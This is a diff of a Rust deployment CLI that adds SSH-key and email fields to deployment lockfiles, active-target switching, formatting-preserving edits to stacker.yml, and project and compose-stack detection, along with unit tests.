@@ -66,11 +73,13 @@ impl DeploymentLock {
             server_ip: result.server_ip.clone(),
             ssh_user: None,
             ssh_port: None,
+            ssh_key: None,
             server_name: None,
             deployment_id: result.deployment_id,
             project_id: result.project_id,
             cloud_id: None,
             project_name: None,
+            stacker_email: None,
             deployed_at: Utc::now().to_rfc3339(),
         }
     }
@@ -82,11 +91,13 @@ impl DeploymentLock {
             server_ip: Some("127.0.0.1".to_string()),
             ssh_user: None,
             ssh_port: None,
+            ssh_key: None,
             server_name: None,
             deployment_id: None,
             project_id: None,
             cloud_id: None,
             project_name: None,
+            stacker_email: None,
             deployed_at: Utc::now().to_rfc3339(),
         }
     }
@@ -98,11 +109,13 @@ impl DeploymentLock {
             server_ip: Some(server_cfg.host.clone()),
             ssh_user: Some(server_cfg.user.clone()),
             ssh_port: Some(server_cfg.port),
+            ssh_key: server_cfg.ssh_key.clone(),
             server_name: None,
             deployment_id: None,
             project_id: None,
             cloud_id: None,
             project_name: None,
+            stacker_email: None,
             deployed_at: Utc::now().to_rfc3339(),
         }
     }
@@ -143,6 +156,13 @@ impl DeploymentLock {
         self
     }
 
+    pub fn with_stacker_email(mut self, email: Option<String>) -> Self {
+        if email.is_some() {
+            self.stacker_email = email;
+        }
+        self
+    }
+
     // ── Persistence ──────────────────────────────────
 
     /// Resolve the per-target lockfile path (e.g. `.stacker/deployment-cloud.lock`).
@@ -196,7 +216,10 @@ impl DeploymentLock {
     }
 
     /// Load the legacy `deployment.lock`, optionally filtering by target.
-    fn load_legacy(project_dir: &Path, filter_target: Option<&str>) -> Result<Option<Self>, CliError> {
+    fn load_legacy(
+        project_dir: &Path,
+        filter_target: Option<&str>,
+    ) -> Result<Option<Self>, CliError> {
         let path = Self::lockfile_path(project_dir);
         if !path.exists() {
             return Ok(None);
@@ -242,6 +265,18 @@ impl DeploymentLock {
         Self::load_legacy(project_dir, None)
     }
 
+    /// Load the lock for the active target if present, otherwise fall back to the
+    /// first available lock.
+    pub fn load_active(project_dir: &Path) -> Result<Option<Self>, CliError> {
+        if let Some(target) = Self::read_active_target(project_dir)? {
+            if let Some(lock) = Self::load_for_target(project_dir, &target)? {
+                return Ok(Some(lock));
+            }
+        }
+
+        Self::load(project_dir)
+    }
+
     /// Check whether a lockfile exists for a given target.
     pub fn exists_for_target(project_dir: &Path, target: &str) -> bool {
         Self::lockfile_path_for_target(project_dir, target).exists()
@@ -257,59 +292,310 @@ impl DeploymentLock {
         Self::lockfile_path(project_dir).exists()
     }
 
-    // ── Config update ────────────────────────────────
+    // ── Active Target ────────────────────────────────
 
-    /// Update a StackerConfig's `deploy.server` section from this lock.
-    ///
-    /// Used by `--lock` flag and `stacker config lock` to persist
-    /// server details into stacker.yml for future SSH-based deploys.
-    pub fn apply_to_config(&self, config: &mut StackerConfig) {
-        if let Some(ref ip) = self.server_ip {
-            if ip == "127.0.0.1" {
-                // Local deploy — nothing to persist in server section
-                return;
+    /// Path to the active-target file: `.stacker/active-target`
+    pub fn active_target_path(project_dir: &Path) -> PathBuf {
+        project_dir.join(".stacker").join("active-target")
+    }
+
+    /// Read the current active target (local, cloud, or server).
+    /// Returns `None` if no active-target file exists.
+    pub fn read_active_target(project_dir: &Path) -> Result<Option<String>, CliError> {
+        let path = Self::active_target_path(project_dir);
+        if !path.exists() {
+            return Ok(None);
+        }
+        let content = std::fs::read_to_string(&path).map_err(CliError::Io)?;
+        let target = content.trim().to_string();
+        if target.is_empty() {
+            Ok(None)
+        } else {
+            Ok(Some(target))
+        }
+    }
+
+    /// Write the active target to `.stacker/active-target`.
+    pub fn write_active_target(project_dir: &Path, target: &str) -> Result<(), CliError> {
+        let path = Self::active_target_path(project_dir);
+        if let Some(parent) = path.parent() {
+            std::fs::create_dir_all(parent).map_err(CliError::Io)?;
+        }
+        std::fs::write(&path, target).map_err(CliError::Io)?;
+        Ok(())
+    }
+
+    /// Switch active target. For `local`, also creates the lock if missing.
+    pub fn switch_target(project_dir: &Path, target: &str) -> Result<(), CliError> {
+        match target {
+            "local" => {
+                if !Self::exists_for_target(project_dir, "local") {
+                    let lock = Self::for_local();
+                    lock.save(project_dir)?;
+                }
             }
+            "cloud" => {
+                if !Self::exists_for_target(project_dir, target) {
+                    return Err(CliError::ConfigValidation(format!(
+                        "No {} deployment lock found. Deploy to {} first before switching.",
+                        target, target
+                    )));
+                }
+            }
+            "server" => {
+                if !Self::exists_for_target(project_dir, "server")
+                    && Self::create_server_lock_from_default_config(project_dir)?.is_none()
+                {
+                    return Err(CliError::ConfigValidation(
+                        "No server deployment lock found and stacker.yml does not define deploy.server. Configure the server first with `stacker config setup server`, add deploy.server to stacker.yml, or deploy to the server once before switching.".to_string(),
+                    ));
+                }
+            }
+            _ => {
+                return Err(CliError::ConfigValidation(format!(
+                    "Unknown target '{}'. Use: local, cloud, or server.",
+                    target
+                )));
+            }
+        }
+        Self::write_active_target(project_dir, target)
+    }
+
+    /// Load server connection details from a server lock when they are complete
+    /// enough to stand in for `deploy.server` in stacker.yml.
+    pub fn to_server_config(&self) -> Option<ServerConfig> {
+        if self.target != "server" {
+            return None;
+        }
+
+        let host = self.server_ip.as_ref()?.trim();
+        if host.is_empty() || host == "127.0.0.1" {
+            return None;
+        }
+
+        Some(ServerConfig {
+            host: host.to_string(),
+            user: self
+                .ssh_user
+                .clone()
+                .filter(|value| !value.trim().is_empty())
+                .unwrap_or_else(|| "root".to_string()),
+            ssh_key: self.ssh_key.clone(),
+            port: self.ssh_port.unwrap_or(22),
+        })
+    }
 
-            let ssh_key = config
-                .deploy
-                .server
-                .as_ref()
-                .and_then(|s| s.ssh_key.clone())
-                .or_else(|| {
-                    config
-                        .deploy
-                        .cloud
-                        .as_ref()
-                        .and_then(|c| c.ssh_key.clone())
-                });
-
-            config.deploy.server = Some(ServerConfig {
-                host: ip.clone(),
-                user: self.ssh_user.clone().unwrap_or_else(|| "root".to_string()),
-                ssh_key,
-                port: self.ssh_port.unwrap_or(22),
-            });
+    fn create_server_lock_from_default_config(
+        project_dir: &Path,
+    ) -> Result<Option<Self>, CliError> {
+        let config_path = project_dir.join("stacker.yml");
+        if !config_path.exists() {
+            return Ok(None);
         }
+
+        let config = StackerConfig::from_file(&config_path)?;
+        let Some(server_cfg) = config.deploy.server.as_ref() else {
+            return Ok(None);
+        };
+
+        let lock = Self::for_server(server_cfg);
+        lock.save(project_dir)?;
+        Ok(Some(lock))
     }
 
-    /// Write a StackerConfig back to disk (used after `apply_to_config`).
+    // ── Config update ────────────────────────────────
+
+    /// Apply a targeted, formatting-preserving edit to a stacker.yml file.
     ///
-    /// Creates a `.bak` backup before overwriting.
-    pub fn write_config(config: &StackerConfig, config_path: &Path) -> Result<(), CliError> {
-        // Backup existing file
+    /// Unlike [`write_config`], this parses the file into a `serde_yaml::Value`,
+    /// lets `mutate` change only the keys it cares about, and writes the result
+    /// back. Key order, scalar quoting, and — crucially — any keys not modeled
+    /// by `StackerConfig` (e.g. `config_contract`) are preserved untouched. A
+    /// `.yml.bak` backup is written before overwriting.
+    ///
+    /// This is the preferred path for in-place edits (`config setup server`,
+    /// `config unlock`); `write_config` round-trips the whole typed struct and
+    /// therefore reorders sections, drops unmodeled keys, and strips comments.
+    pub fn edit_config_value(
+        config_path: &Path,
+        mutate: impl FnOnce(&mut serde_yaml::Mapping) -> Result<(), CliError>,
+    ) -> Result<(), CliError> {
+        let raw = std::fs::read_to_string(config_path).map_err(CliError::Io)?;
+        // serde_yaml drops comments on round-trip. The `@stacker-origin`
+        // marker is a comment but carries trust semantics (it gates hook
+        // execution), so preserve it explicitly rather than silently
+        // downgrading a marketplace-origin file to "user-authored".
+        let had_origin_marker = raw.contains(MARKETPLACE_ORIGIN_MARKER);
+        let mut doc: serde_yaml::Value = serde_yaml::from_str(&raw)
+            .map_err(|e| CliError::ConfigValidation(format!("Failed to parse config: {}", e)))?;
+        let root = doc.as_mapping_mut().ok_or_else(|| {
+            CliError::ConfigValidation("stacker.yml root must be a mapping".to_string())
+        })?;
+
+        mutate(root)?;
+
         if config_path.exists() {
             let backup_path = config_path.with_extension("yml.bak");
             std::fs::copy(config_path, &backup_path).map_err(CliError::Io)?;
         }
 
-        let yaml = serde_yaml::to_string(config).map_err(|e| {
+        let mut yaml = serde_yaml::to_string(&doc).map_err(|e| {
             CliError::ConfigValidation(format!("Failed to serialize config: {}", e))
         })?;
-
+        if had_origin_marker && !yaml.contains(MARKETPLACE_ORIGIN_MARKER) {
+            yaml = format!("{}\n{}", MARKETPLACE_ORIGIN_MARKER, yaml);
+        }
         std::fs::write(config_path, &yaml).map_err(CliError::Io)?;
 
         Ok(())
     }
+
+    /// Set `deploy.target: server` and `deploy.server` in stacker.yml while
+    /// leaving every other section byte-for-byte intact. Used by
+    /// `config setup server`.
+    pub fn set_deploy_server(
+        config_path: &Path,
+        server_cfg: &ServerConfig,
+    ) -> Result<(), CliError> {
+        Self::edit_config_value(config_path, |root| {
+            let deploy = ensure_child_mapping(root, "deploy");
+            deploy.insert(
+                yaml_key("target"),
+                serde_yaml::Value::String("server".to_string()),
+            );
+
+            let mut server_value = serde_yaml::to_value(server_cfg).map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to serialize server config: {}", e))
+            })?;
+            prune_value_noise(&mut server_value);
+            deploy.insert(yaml_key("server"), server_value);
+            Ok(())
+        })
+    }
+
+    /// Remove the `deploy.server` section from stacker.yml, preserving all other
+    /// content. Used by `config unlock`.
+    pub fn remove_deploy_server(config_path: &Path) -> Result<(), CliError> {
+        Self::edit_config_value(config_path, |root| {
+            if let Some(deploy) = root
+                .get_mut(&yaml_key("deploy"))
+                .and_then(|value| value.as_mapping_mut())
+            {
+                deploy.remove(&yaml_key("server"));
+            }
+            Ok(())
+        })
+    }
+
+    /// Persist this lock's server details into `deploy.server` in stacker.yml,
+    /// preserving all unrelated content. Value-based equivalent of
+    /// `apply_to_config` + `write_config`, used by `--lock` and `config
+    /// apply-lock`.
+    ///
+    /// No-op (returns `Ok(false)`) for local deploys — when `server_ip` is
+    /// missing or `127.0.0.1`. Reads the file raw, so `${VAR}` placeholders in
+    /// unrelated fields are never resolved/baked into the written file.
+    ///
+    /// `ssh_key` precedence mirrors `apply_to_config`: an existing
+    /// `deploy.server.ssh_key` wins, then this lock's `ssh_key`, then
+    /// `deploy.cloud.ssh_key`.
+    pub fn persist_server_to_config(&self, config_path: &Path) -> Result<bool, CliError> {
+        let Some(ip) = self.server_ip.as_deref() else {
+            return Ok(false);
+        };
+        if ip == "127.0.0.1" {
+            return Ok(false);
+        }
+
+        let host = ip.to_string();
+        let user = self.ssh_user.clone().unwrap_or_else(|| "root".to_string());
+        let port = self.ssh_port.unwrap_or(22);
+        let lock_ssh_key = self
+            .ssh_key
+            .as_ref()
+            .map(|path| path.to_string_lossy().to_string());
+
+        Self::edit_config_value(config_path, |root| {
+            let deploy = ensure_child_mapping(root, "deploy");
+
+            let existing_server_key = child_string(deploy, "server", "ssh_key");
+            let cloud_key = child_string(deploy, "cloud", "ssh_key");
+            let ssh_key = existing_server_key.or(lock_ssh_key).or(cloud_key);
+
+            let mut server = serde_yaml::Mapping::new();
+            server.insert(yaml_key("host"), serde_yaml::Value::String(host));
+            server.insert(yaml_key("user"), serde_yaml::Value::String(user));
+            if let Some(key) = ssh_key {
+                server.insert(yaml_key("ssh_key"), serde_yaml::Value::String(key));
+            }
+            server.insert(
+                yaml_key("port"),
+                serde_yaml::Value::Number(serde_yaml::Number::from(port)),
+            );
+
+            deploy.insert(yaml_key("server"), serde_yaml::Value::Mapping(server));
+            Ok(())
+        })?;
+
+        Ok(true)
+    }
+}
+
+/// Build a `serde_yaml::Value` string key.
+fn yaml_key(key: &str) -> serde_yaml::Value {
+    serde_yaml::Value::String(key.to_string())
+}
+
+/// Read `parent[section][field]` as a string, if present.
+fn child_string(parent: &serde_yaml::Mapping, section: &str, field: &str) -> Option<String> {
+    parent
+        .get(&yaml_key(section))
+        .and_then(|value| value.as_mapping())
+        .and_then(|map| map.get(&yaml_key(field)))
+        .and_then(|value| value.as_str())
+        .map(|value| value.to_string())
+}
+
+/// Ensure `parent[key]` exists and is a mapping, returning a mutable reference
+/// to it. If the key is absent it is appended (preserving existing key order);
+/// if present but not a mapping it is replaced with an empty mapping.
+fn ensure_child_mapping<'a>(
+    parent: &'a mut serde_yaml::Mapping,
+    key: &str,
+) -> &'a mut serde_yaml::Mapping {
+    let k = yaml_key(key);
+    let is_mapping = parent.get(&k).map(|v| v.is_mapping()).unwrap_or(false);
+    if !is_mapping {
+        parent.insert(
+            k.clone(),
+            serde_yaml::Value::Mapping(serde_yaml::Mapping::new()),
+        );
+    }
+    parent
+        .get_mut(&k)
+        .and_then(|value| value.as_mapping_mut())
+        .expect("child mapping ensured above")
+}
+
+/// Drop null values and empty collections from the top level of a mapping so a
+/// freshly serialized section (e.g. `deploy.server`) doesn't carry `ssh_key:
+/// null` and similar noise into the file.
+fn prune_value_noise(value: &mut serde_yaml::Value) {
+    let serde_yaml::Value::Mapping(map) = value else {
+        return;
+    };
+    let keys: Vec<serde_yaml::Value> = map.keys().cloned().collect();
+    for key in keys {
+        let is_noise = match map.get(&key) {
+            Some(serde_yaml::Value::Null) => true,
+            Some(serde_yaml::Value::Sequence(items)) => items.is_empty(),
+            Some(serde_yaml::Value::Mapping(inner)) => inner.is_empty(),
+            _ => false,
+        };
+        if is_noise {
+            map.remove(&key);
+        }
+    }
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -328,11 +614,13 @@ mod tests {
             server_ip: Some("203.0.113.42".to_string()),
             ssh_user: Some("root".to_string()),
             ssh_port: Some(22),
+            ssh_key: None,
             server_name: Some("my-server".to_string()),
             deployment_id: Some(123),
             project_id: Some(456),
             cloud_id: Some(7),
             project_name: Some("my-project".to_string()),
+            stacker_email: Some("owner@example.com".to_string()),
             deployed_at: "2026-03-06T12:00:00+00:00".to_string(),
         }
     }
@@ -346,11 +634,14 @@ mod tests {
         assert!(path.exists());
         assert!(path.ends_with("deployment-cloud.lock"));
 
-        let loaded = DeploymentLock::load_for_target(tmp.path(), "cloud").unwrap().unwrap();
+        let loaded = DeploymentLock::load_for_target(tmp.path(), "cloud")
+            .unwrap()
+            .unwrap();
         assert_eq!(loaded.server_ip, lock.server_ip);
         assert_eq!(loaded.deployment_id, lock.deployment_id);
         assert_eq!(loaded.project_id, lock.project_id);
         assert_eq!(loaded.server_name, lock.server_name);
+        assert_eq!(loaded.stacker_email, lock.stacker_email);
         assert_eq!(loaded.target, "cloud");
     }
 
@@ -392,11 +683,15 @@ mod tests {
         assert!(DeploymentLock::exists_for_target(tmp.path(), "local"));
 
         // Load each independently
-        let loaded_cloud = DeploymentLock::load_for_target(tmp.path(), "cloud").unwrap().unwrap();
+        let loaded_cloud = DeploymentLock::load_for_target(tmp.path(), "cloud")
+            .unwrap()
+            .unwrap();
         assert_eq!(loaded_cloud.server_ip, Some("203.0.113.42".to_string()));
         assert_eq!(loaded_cloud.deployment_id, Some(123));
 
-        let loaded_local = DeploymentLock::load_for_target(tmp.path(), "local").unwrap().unwrap();
+        let loaded_local = DeploymentLock::load_for_target(tmp.path(), "local")
+            .unwrap()
+            .unwrap();
         assert_eq!(loaded_local.server_ip, Some("127.0.0.1".to_string()));
         assert_eq!(loaded_local.deployment_id, None);
 
@@ -417,7 +712,9 @@ mod tests {
         std::fs::write(stacker_dir.join("deployment.lock"), &content).unwrap();
 
         // load_for_target("cloud") should find it via legacy fallback
-        let loaded = DeploymentLock::load_for_target(tmp.path(), "cloud").unwrap().unwrap();
+        let loaded = DeploymentLock::load_for_target(tmp.path(), "cloud")
+            .unwrap()
+            .unwrap();
         assert_eq!(loaded.target, "cloud");
         assert_eq!(loaded.deployment_id, Some(123));
 
@@ -431,26 +728,60 @@ mod tests {
     }
 
     #[test]
-    fn apply_to_config_sets_server_section() {
-        let lock = sample_lock();
-        let mut config = StackerConfig::default();
-
-        lock.apply_to_config(&mut config);
+    fn persist_server_to_config_writes_server_section() {
+        let tmp = TempDir::new().unwrap();
+        let path = tmp.path().join("stacker.yml");
+        std::fs::write(&path, "name: ghost\ndeploy:\n  target: cloud\n").unwrap();
+
+        let wrote = sample_lock().persist_server_to_config(&path).unwrap();
+        assert!(wrote);
+
+        let doc: serde_yaml::Value =
+            serde_yaml::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
+        let server = &doc["deploy"]["server"];
+        assert_eq!(server["host"], "203.0.113.42");
+        assert_eq!(server["user"], "root");
+        assert_eq!(server["port"], 22);
+        assert!(server.get("ssh_key").is_none());
+    }
 
-        let server = config.deploy.server.unwrap();
-        assert_eq!(server.host, "203.0.113.42");
-        assert_eq!(server.user, "root");
-        assert_eq!(server.port, 22);
+    #[test]
+    fn persist_server_to_config_ssh_key_precedence_prefers_existing_server_key() {
+        let tmp = TempDir::new().unwrap();
+        let path = tmp.path().join("stacker.yml");
+        // Both an existing deploy.server.ssh_key and deploy.cloud.ssh_key exist;
+        // the existing server key must win over the lock's and the cloud's.
+        std::fs::write(
+            &path,
+            "deploy:\n  cloud:\n    ssh_key: ~/.ssh/cloud\n  server:\n    host: old\n    ssh_key: ~/.ssh/existing\n",
+        )
+        .unwrap();
+
+        let mut lock = sample_lock();
+        lock.ssh_key = Some(PathBuf::from("~/.ssh/from_lock"));
+        lock.persist_server_to_config(&path).unwrap();
+
+        let doc: serde_yaml::Value =
+            serde_yaml::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
+        assert_eq!(doc["deploy"]["server"]["ssh_key"], "~/.ssh/existing");
+        // Unrelated deploy.cloud section is preserved.
+        assert_eq!(doc["deploy"]["cloud"]["ssh_key"], "~/.ssh/cloud");
     }
 
     #[test]
-    fn apply_to_config_skips_local() {
-        let lock = DeploymentLock::for_local();
-        let mut config = StackerConfig::default();
+    fn persist_server_to_config_skips_local() {
+        let tmp = TempDir::new().unwrap();
+        let path = tmp.path().join("stacker.yml");
+        std::fs::write(&path, "name: ghost\ndeploy:\n  target: local\n").unwrap();
 
-        lock.apply_to_config(&mut config);
+        let wrote = DeploymentLock::for_local()
+            .persist_server_to_config(&path)
+            .unwrap();
+        assert!(!wrote);
 
-        assert!(config.deploy.server.is_none());
+        let doc: serde_yaml::Value =
+            serde_yaml::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
+        assert!(doc["deploy"].get("server").is_none());
     }
 
     #[test]
@@ -458,7 +789,7 @@ mod tests {
         let server_cfg = ServerConfig {
             host: "10.0.0.1".to_string(),
             user: "deploy".to_string(),
-            ssh_key: None,
+            ssh_key: Some(PathBuf::from("/tmp/id_ed25519")),
             port: 2222,
         };
 
@@ -466,6 +797,7 @@ mod tests {
         assert_eq!(lock.server_ip, Some("10.0.0.1".to_string()));
         assert_eq!(lock.ssh_user, Some("deploy".to_string()));
         assert_eq!(lock.ssh_port, Some(2222));
+        assert_eq!(lock.ssh_key, Some(PathBuf::from("/tmp/id_ed25519")));
         assert_eq!(lock.target, "server");
     }
 
@@ -493,4 +825,229 @@ mod tests {
         assert_eq!(enriched.server_name, Some("prod-01".to_string()));
         assert_eq!(enriched.cloud_id, Some(99));
     }
+
+    #[test]
+    fn with_stacker_email_enriches_lock() {
+        let lock = DeploymentLock::for_local().with_stacker_email(Some("user@example.com".into()));
+        assert_eq!(lock.stacker_email.as_deref(), Some("user@example.com"));
+    }
+
+    #[test]
+    fn active_target_read_write() {
+        let tmp = TempDir::new().unwrap();
+
+        // No active target initially
+        assert_eq!(
+            DeploymentLock::read_active_target(tmp.path()).unwrap(),
+            None
+        );
+
+        // Write and read back
+        DeploymentLock::write_active_target(tmp.path(), "local").unwrap();
+        assert_eq!(
+            DeploymentLock::read_active_target(tmp.path()).unwrap(),
+            Some("local".to_string())
+        );
+
+        // Switch to cloud
+        DeploymentLock::write_active_target(tmp.path(), "cloud").unwrap();
+        assert_eq!(
+            DeploymentLock::read_active_target(tmp.path()).unwrap(),
+            Some("cloud".to_string())
+        );
+    }
+
+    #[test]
+    fn switch_target_creates_local_lock() {
+        let tmp = TempDir::new().unwrap();
+
+        // Switch to local — should create the lock automatically
+        DeploymentLock::switch_target(tmp.path(), "local").unwrap();
+        assert!(DeploymentLock::exists_for_target(tmp.path(), "local"));
+        assert_eq!(
+            DeploymentLock::read_active_target(tmp.path()).unwrap(),
+            Some("local".to_string())
+        );
+    }
+
+    #[test]
+    fn switch_target_cloud_requires_existing_lock() {
+        let tmp = TempDir::new().unwrap();
+
+        // Switch to cloud without a lock should fail
+        let result = DeploymentLock::switch_target(tmp.path(), "cloud");
+        assert!(result.is_err());
+    }
+
+    #[test]
+    fn switch_target_server_creates_lock_from_config() {
+        let tmp = TempDir::new().unwrap();
+        std::fs::write(
+            tmp.path().join("stacker.yml"),
+            r#"
+name: demo
+app:
+  type: custom
+  image: ghcr.io/example/demo:latest
+deploy:
+  target: local
+  server:
+    host: 192.0.2.10
+    user: deploy
+    port: 2222
+    ssh_key: ~/.ssh/demo
+"#,
+        )
+        .unwrap();
+
+        DeploymentLock::switch_target(tmp.path(), "server").unwrap();
+
+        let lock = DeploymentLock::load_for_target(tmp.path(), "server")
+            .unwrap()
+            .unwrap();
+        assert_eq!(lock.server_ip.as_deref(), Some("192.0.2.10"));
+        assert_eq!(lock.ssh_user.as_deref(), Some("deploy"));
+        assert_eq!(lock.ssh_port, Some(2222));
+        assert_eq!(lock.ssh_key, Some(PathBuf::from("~/.ssh/demo")));
+        assert_eq!(
+            DeploymentLock::read_active_target(tmp.path()).unwrap(),
+            Some("server".to_string())
+        );
+    }
+
+    #[test]
+    fn switch_target_unknown_target_fails() {
+        let tmp = TempDir::new().unwrap();
+        let result = DeploymentLock::switch_target(tmp.path(), "mars");
+        assert!(result.is_err());
+    }
+
+    #[test]
+    fn load_active_prefers_active_target_lock() {
+        let tmp = TempDir::new().unwrap();
+
+        sample_lock().save(tmp.path()).unwrap();
+        DeploymentLock::for_local().save(tmp.path()).unwrap();
+        DeploymentLock::write_active_target(tmp.path(), "local").unwrap();
+
+        let lock = DeploymentLock::load_active(tmp.path()).unwrap().unwrap();
+        assert_eq!(lock.target, "local");
+    }
+
+    const RICH_CONFIG: &str = r#"# my project config
+name: ghost
+version: "1.0.0"
+app:
+  type: custom
+  ports:
+    - "8080:8080"
+config_contract:
+  services:
+    mysql:
+      required:
+        - MYSQL_ROOT_PASSWORD
+        - MYSQL_DATABASE
+      secret:
+        - MYSQL_ROOT_PASSWORD
+deploy:
+  target: cloud
+  cloud:
+    provider: hetzner
+    orchestrator: remote
+env:
+  PAT: "${PAT}"
+"#;
+
+    #[test]
+    fn set_deploy_server_preserves_unrelated_content() {
+        let tmp = TempDir::new().unwrap();
+        let path = tmp.path().join("stacker.yml");
+        std::fs::write(&path, RICH_CONFIG).unwrap();
+
+        let server_cfg = ServerConfig {
+            host: "203.0.113.10".to_string(),
+            user: "root".to_string(),
+            ssh_key: None,
+            port: 22,
+        };
+        DeploymentLock::set_deploy_server(&path, &server_cfg).unwrap();
+
+        let written = std::fs::read_to_string(&path).unwrap();
+
+        // Only deploy.target/server changed.
+        assert!(written.contains("target: server"));
+        assert!(written.contains("host: 203.0.113.10"));
+        // No null noise from the optional ssh_key field.
+        assert!(!written.contains("ssh_key: null"));
+
+        // Reparse and assert unrelated sections survive verbatim (this is the
+        // regression: previously config_contract was gutted to `mysql: {}`).
+        let doc: serde_yaml::Value = serde_yaml::from_str(&written).unwrap();
+        let mysql = &doc["config_contract"]["services"]["mysql"];
+        assert_eq!(mysql["required"][0], "MYSQL_ROOT_PASSWORD");
+        assert_eq!(mysql["required"][1], "MYSQL_DATABASE");
+        assert_eq!(mysql["secret"][0], "MYSQL_ROOT_PASSWORD");
+        // Untouched deploy.cloud stays intact (no orchestrator injection, no drop).
+        assert_eq!(doc["deploy"]["cloud"]["provider"], "hetzner");
+        assert_eq!(doc["deploy"]["cloud"]["orchestrator"], "remote");
+
+        // Untouched scalar values keep their type (serde_yaml may normalize the
+        // quote *style*, but the string value must not be coerced to a number).
+        assert_eq!(doc["version"].as_str(), Some("1.0.0"));
+        assert_eq!(doc["app"]["ports"][0].as_str(), Some("8080:8080"));
+        assert_eq!(doc["env"]["PAT"].as_str(), Some("${PAT}"));
+
+        // A .bak backup was written.
+        assert!(tmp.path().join("stacker.yml.bak").exists());
+    }
+
+    #[test]
+    fn remove_deploy_server_drops_only_server_section() {
+        let tmp = TempDir::new().unwrap();
+        let path = tmp.path().join("stacker.yml");
+        std::fs::write(&path, RICH_CONFIG).unwrap();
+
+        let server_cfg = ServerConfig {
+            host: "203.0.113.10".to_string(),
+            user: "root".to_string(),
+            ssh_key: None,
+            port: 22,
+        };
+        DeploymentLock::set_deploy_server(&path, &server_cfg).unwrap();
+        DeploymentLock::remove_deploy_server(&path).unwrap();
+
+        let doc: serde_yaml::Value =
+            serde_yaml::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
+        assert!(doc["deploy"].get("server").is_none());
+        // Sibling deploy keys and unrelated sections remain.
+        assert_eq!(doc["deploy"]["cloud"]["provider"], "hetzner");
+        assert_eq!(
+            doc["config_contract"]["services"]["mysql"]["required"][0],
+            "MYSQL_ROOT_PASSWORD"
+        );
+    }
+
+    #[test]
+    fn edit_config_value_preserves_origin_marker() {
+        let tmp = TempDir::new().unwrap();
+        let path = tmp.path().join("stacker.yml");
+        std::fs::write(
+            &path,
+            format!("{}\n{}", MARKETPLACE_ORIGIN_MARKER, RICH_CONFIG),
+        )
+        .unwrap();
+
+        let server_cfg = ServerConfig {
+            host: "203.0.113.10".to_string(),
+            user: "root".to_string(),
+            ssh_key: None,
+            port: 22,
+        };
+        DeploymentLock::set_deploy_server(&path, &server_cfg).unwrap();
+
+        let written = std::fs::read_to_string(&path).unwrap();
+        // The trust marker survives the edit (otherwise hooks would silently
+        // become untrusted-but-runnable on the next deploy).
+        assert!(written.contains(MARKETPLACE_ORIGIN_MARKER));
+    }
 }
diff --git a/src/cli/detector.rs b/src/cli/detector.rs
index 335cbf9d..34ba8a12 100644
--- a/src/cli/detector.rs
+++ b/src/cli/detector.rs
@@ -1,4 +1,5 @@
-use std::path::Path;
+use std::collections::{BTreeMap, BTreeSet, HashMap};
+use std::path::{Path, PathBuf};
 
 use crate::cli::config_parser::AppType;
 
@@ -6,7 +7,7 @@ use crate::cli::config_parser::AppType;
 // ProjectDetection — result of scanning a project directory
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-#[derive(Debug, Clone)]
+#[derive(Debug, Clone, PartialEq, Eq)]
 pub struct ProjectDetection {
     pub app_type: AppType,
     pub has_dockerfile: bool,
@@ -34,6 +35,41 @@ impl From<&ProjectDetection> for AppType {
     }
 }
 
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct DiscoveredApp {
+    pub name: String,
+    pub path: PathBuf,
+    pub app_type: AppType,
+    pub has_dockerfile: bool,
+    pub dockerfile: Option<PathBuf>,
+    pub detected_files: Vec<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ComposeStack {
+    pub path: PathBuf,
+    pub services: Vec<String>,
+    pub detected_services: Vec<DetectedComposeService>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct DetectedComposeService {
+    pub name: String,
+    pub image: Option<String>,
+    pub ports: Vec<String>,
+    pub environment: HashMap<String, String>,
+    pub volumes: Vec<String>,
+    pub depends_on: Vec<String>,
+}
+
+#[derive(Debug, Clone, Default, PartialEq, Eq)]
+pub struct WorkspaceDetection {
+    pub root: ProjectDetection,
+    pub apps: Vec<DiscoveredApp>,
+    pub compose_stacks: Vec<ComposeStack>,
+    pub recommended_compose_file: Option<PathBuf>,
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // FileSystem trait — abstraction for testability (DIP)
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -41,6 +77,7 @@ impl From<&ProjectDetection> for AppType {
 pub trait FileSystem: Send + Sync {
     fn exists(&self, path: &Path) -> bool;
     fn list_dir(&self, path: &Path) -> Result<Vec<String>, std::io::Error>;
+    fn read_to_string(&self, path: &Path) -> Result<String, std::io::Error>;
 }
 
 /// Production filesystem using std::fs.
@@ -58,6 +95,10 @@ impl FileSystem for RealFileSystem {
             .collect();
         Ok(entries)
     }
+
+    fn read_to_string(&self, path: &Path) -> Result<String, std::io::Error> {
+        std::fs::read_to_string(path)
+    }
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -118,16 +159,27 @@ const COMPOSE_NAMES: &[&str] = &[
     "compose.yaml",
 ];
 const ENV_FILE_NAMES: &[&str] = &[".env"];
+const IGNORED_DIR_NAMES: &[&str] = &[
+    ".git",
+    ".github",
+    ".idea",
+    ".stacker",
+    ".vscode",
+    "coverage",
+    "dist",
+    "build",
+    "docs",
+    "node_modules",
+    "target",
+    "vendor",
+];
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // detect_project — scan a directory to identify project type
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
 /// Detect the project type and infrastructure files in a directory.
-pub fn detect_project(
-    project_path: &Path,
-    fs: &dyn FileSystem,
-) -> ProjectDetection {
+pub fn detect_project(project_path: &Path, fs: &dyn FileSystem) -> ProjectDetection {
     let files = match fs.list_dir(project_path) {
         Ok(f) => f,
         Err(_) => return ProjectDetection::default(),
